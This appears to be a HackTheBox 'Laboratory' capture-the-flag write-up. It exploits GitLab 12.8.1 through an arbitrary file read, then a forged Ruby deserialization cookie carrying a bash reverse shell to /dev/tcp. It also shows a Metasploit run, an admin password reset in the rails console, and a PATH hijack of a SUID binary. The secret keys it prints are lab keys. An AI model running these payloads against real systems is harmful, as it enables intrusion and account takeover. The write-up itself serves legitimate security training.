HackTheBox - Laboratory
Description
Hello hackers, I hope you are doing well. We are doing Laboratory from HackTheBox.
Enumeration
nmap
We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}
.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Nmap scan report for 10.10.10.216
Host is up (0.13s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 25ba648f799d5d95972c1bb25e9b550d (RSA)
| 256 2800890555f9a2ea3c7d70ea4dea600f (ECDSA)
|_ 256 7720ffe946c068921a0b2129d153aa87 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to https://laboratory.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after: 2024-03-03T10:39:28
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-title: The Laboratory
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
We found three open ports, 22 is SSH, 80 is an http server and 443 is https.
We can see the TLS certificate reveals the domain names laboratory.htb
and git.laboratory.htb
so let’s add them to /etc/hosts
.
Web
Let’s navigate the http://laboratory.htb
This is a Security & Development Services
website, nothing looks interesting, let’s check the other website at git.laboratory.htb
It’s a gitlab, we don’t have any credentials so let’s register a user.
The only domain got accepted in the email field is laboratory.htb
.
Let’s check the version of Gitlab.
It’s version 12.8.1
, let’s search if it’s vulnerable with searchsploit
.
1
2
3
4
5
6
7
8
9
10
11
$ searchsploit gitlab 12
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
GitLab 11.4.7 - RCE (Authenticated) (2) | ruby/webapps/49334.py
GitLab 11.4.7 - Remote Code Execution (Authenticated) (1) | ruby/webapps/49257.py
GitLab 12.9.0 - Arbitrary File Read | ruby/webapps/48431.txt
Gitlab 12.9.0 - Arbitrary File Read (Authenticated) | ruby/webapps/49076.py
Gitlab 6.0 - Persistent Cross-Site Scripting | php/webapps/30329.sh
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
The version 12.9.0
is vulnerable to a file read, so our version can also has the same vulnerability right? Let’s see.
I found this exploit that works great, let’s run it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
$ python3 cve_2020_10977.py https://git.laboratory.htb/ sirius password123 [169/453]
----------------------------------
--- CVE-2020-10977 ---------------
--- GitLab Arbitrary File Read ---
--- 12.9.0 & Below ---------------
----------------------------------
[>] Found By : vakzz [ https://hackerone.com/reports/827052 ]
[>] PoC By : thewhiteh4t [ https://twitter.com/thewhiteh4t ]
[+] Target : https://git.laboratory.htb
[+] Username : sirius
[+] Password : password123
[+] Project Names : ProjectOne, ProjectTwo
[!] Trying to Login...
[+] Login Successful!
[!] Creating ProjectOne...
[+] ProjectOne Created Successfully!
[!] Creating ProjectTwo...
[+] ProjectTwo Created Successfully!
[>] Absolute Path to File : /etc/passwd
[!] Creating an Issue...
[+] Issue Created Successfully!
[!] Moving Issue...
[+] Issue Moved Successfully!
[+] File URL : https://git.laboratory.htb/sirius/ProjectTwo/uploads/061e9ca4d40d19c01c5ba00fcbb8daae/passwd
> /etc/passwd
----------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
----------------------------------------
Great! We got file read, but what else to read?! I tried to get some ssh keys but didn’t work.
We can see the author of the script has provided the official report of this vulnerability, and the researcher who found it also provides a way to get remote code execution.
Foothold
Method #2
To get an RCE we need to exploit a deserialization vulnerability of the experimentation_subject_id
cookie. So wee need to create a malicious cookie that when it gets decode our code would get executed.
First we need to grab the secret key from /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[>] Absolute Path to File : /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
[!] Creating an Issue...
[+] Issue Created Successfully!
[!] Moving Issue...
[+] Issue Moved Successfully!
[+] File URL : https://git.laboratory.htb/sirius/ProjectTwo/uploads/b837789efbfb4cc8f63b0ad3ca755bca/secrets.yml
> /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
----------------------------------------
# This file is managed by gitlab-ctl. Manual changes will be
# erased! To change the contents below, edit /etc/gitlab/gitlab.rb
# and run `sudo gitlab-ctl reconfigure`.
---
production:
db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af
openid_connect_signing_key: |
-----BEGIN RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEA5LQnENotwu/SUAshZ9vacrnVeYXrYPJoxkaRc2Q3JpbRcZTu
YxMJm2+5ZDzaDu5T4xLbcM0BshgOM8N3gMcogz0KUmMD3OGLt90vNBq8Wo/9cSyV
[snip]
Now we need to use docker to pull the same version of gitlab docker pull gitlab/gitlab-ce:12.8.1-ce.0
Now let’s run it like the following:
1
2
3
┌─[sirius@ParrotOS]─[~/CTF/HTB/Machines/laboratory]
└──╼ $ docker run --rm -it gitlab/gitlab-ce:12.8.1-ce.0 bash
root@72d8ceeab94f:/#
We write the key to /etc/gitlab/gitlab.rb
.
1
2
echo "gitlab_rails['secret_key_base']='3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc
02feea4c3adbe2cc7b65003510e4031e164137b3'" >> /etc/gitlab/gitlab.rb
Now we run gitlab-ctl reconfigure
1
2
3
4
5
6
7
8
9
10
11
12
13
root@7bd73ea94997:/etc/gitlab# gitlab-ctl reconfigure
Starting Chef Client, version 14.14.29
resolving cookbooks for run list: ["gitlab"]
Synchronizing Cookbooks:
- gitlab (0.0.1)
- package (0.1.0)
[snip]
Running handlers:
Running handlers complete
Chef Client finished, 505/1365 resources updated in 21 minutes 07 seconds
gitlab Reconfigured!
root@7bd73ea94997:/etc/gitlab#
After an eternity, it’s done.
Now if we checked the secrets.yml
file we see the key is there, and if it’s not add manually.
1
2
3
4
5
6
7
8
9
10
11
root@7bd73ea94997:/etc/gitlab# cat /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
# This file is managed by gitlab-ctl. Manual changes will be
# erased! To change the contents below, edit /etc/gitlab/gitlab.rb
# and run `sudo gitlab-ctl reconfigure`.
--- production: db_key_base: 077fa60a5fd899c76ffaa4ae1aefec7f8922184de9dd8e5b4713cd7212fc5033d37d6791f6aa08597bdc4a3323c3e731ec26a71b22484d8789d73f963660985e
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
otp_key_base: 02a2096ad4f992052a02df4a94302750aa7b5df8fcf278244c9a9ac355a88d2b54db651ed8e2af1e362f89e5255881d6f8e1a0a8ce0a89033060f4cf9fdb7997
openid_connect_signing_key: |
-----BEGIN RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEApiWCHWfCAYyLCFODPAYwujxetCqLM4e233rLg/33A7VQGTfd
[snip]
Now we start gitlab-rail console
and run the following code
1
2
3
4
5
6
7
8
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `bash -c 'bash -i >& /dev/tcp/10.10.10.10/9001 0>&1'` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
Change the IP address and port to the one you have.
We got the cookie, now we setup a listener and send the cookie with curl.
We got a shell.
Easy and headache free way using metasploit
The module exploit/multi/http/gitlab_file_read_rce
can be used to get the shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
[msf](Jobs:0 Agents:0) exploit(multi/http/gitlab_file_read_rce) >> set rhosts 10.10.10.216
rhosts => 10.10.10.216
[msf](Jobs:0 Agents:0) exploit(multi/http/gitlab_file_read_rce) >> set vhost git.laboratory.htb
vhost => git.laboratory.htb
[msf](Jobs:0 Agents:0) exploit(multi/http/gitlab_file_read_rce) >> set username sirius
username => sirius
[msf](Jobs:0 Agents:0) exploit(multi/http/gitlab_file_read_rce) >> set password password123
password => password123
[msf](Jobs:0 Agents:0) exploit(multi/http/gitlab_file_read_rce) >> set lhost tun0
[msf](Jobs:0 Agents:0) exploit(multi/http/gitlab_file_read_rce) >> set ssl true
[!] Changing the SSL option's value may require changing RPORT!
ssl => true
[msf](Jobs:0 Agents:0) exploit(multi/http/gitlab_file_read_rce) >> set rport 443
rport => 443
[msf](Jobs:0 Agents:0) exploit(multi/http/gitlab_file_read_rce) >> run
[*] Started reverse TCP handler on 10.10.17.90:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.
[*] Logged in to user sirius
[*] Created project /sirius/za0CPPqN
[*] Created project /sirius/dA2cmmKj
[*] Created issue /sirius/za0CPPqN/issues/1
[*] Executing arbitrary file load
[+] File saved as: '/home/sirius/.msf4/loot/20230522110255_default_10.10.10.216_gitlab.secrets_098210.txt'
[+] Extracted secret_key_base 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
[*] NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read
[*] Attempting to delete project /sirius/za0CPPqN
[*] Deleted project /sirius/za0CPPqN
[*] Attempting to delete project /sirius/dA2cmmKj
[*] Deleted project /sirius/dA2cmmKj
[*] Command shell session 1 opened (10.10.17.90:4444 -> 10.10.10.216:49858) at 2023-05-22 11:03:08 +0100
id
uid=998(git) gid=998(git) groups=998(git)
Privilege Escalation
dexter
With gitlab-rails console
we can list users:
1
2
3
4
5
6
7
8
9
10
11
git@git:/etc/gitlab$ gitlab-rails console
--------------------------------------------------------------------------------
GitLab: 12.8.1 (d18b43a5f5a) FOSS
GitLab Shell: 11.0.0
PostgreSQL: 10.12
--------------------------------------------------------------------------------
Loading production environment (Rails 6.0.2)
irb(main):002:0> User.active
=> #<ActiveRecord::Relation [#<User id:5 @sirius>, #<User id:4 @seven>, #<User id:1 @dexter>]>
irb(main):003:0>
We see there are 3 users, sirius
which is me, seven
and dexter
.
Let’s see who’s the admin:
1
2
irb(main):004:0> User.admins
=> #<ActiveRecord::Relation [#<User id:1 @dexter>]>
It’s dexter
, now let’s change his password.
1
2
3
4
5
6
7
8
9
irb(main):018:0> u = User.find(1)
=> #<User id:1 @dexter>
irb(main):019:0> u.password = 'pass123pass'
=> "pass123pass"
irb(main):020:0> u.password_confirmation = 'pass123pass'
=> "pass123pass"
irb(main):021:0> u.save
Enqueued ActionMailer::DeliveryJob (Job ID: 0e9f90a3-2937-429a-b195-5740f5f22dd2) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", #<GlobalID:0x00007fe067fa9110 @uri=#<URI::GID gid://gitlab/User/1>>
=> true
Now let’s login as dexter
.
We see a new repository that was hidden before, let’s check it out.
We find a dexter directory with a .ssh, and inside that we can find a private ssh key.
We copy the key and ssh as dexter.
root
Let’s run linpeas.
We found a file called /usr/local/bin/docker-security
with SUID permission.
Let’s investigate the file.
1
2
3
4
5
6
7
8
9
dexter@laboratory:/tmp$ file /usr/local/bin/docker-security
/usr/local/bin/docker-security: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Bu
ildID[sha1]=d466f1fb0f54c0274e5d05974e81f19dc1e76602, for GNU/Linux 3.2.0, not stripped
dexter@laboratory:/tmp$ strings /usr/local/bin/docker-security
Command 'strings' not found, but can be installed with:
apt install binutils
Please ask your administrator.
We couldn’t run strings on it, let’s try strace
.
The binary stries to run chmod
without without a path so we can exploit that by creating a chmod
file in /tmp and add /tmp to the PATH variable.
We got root!
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).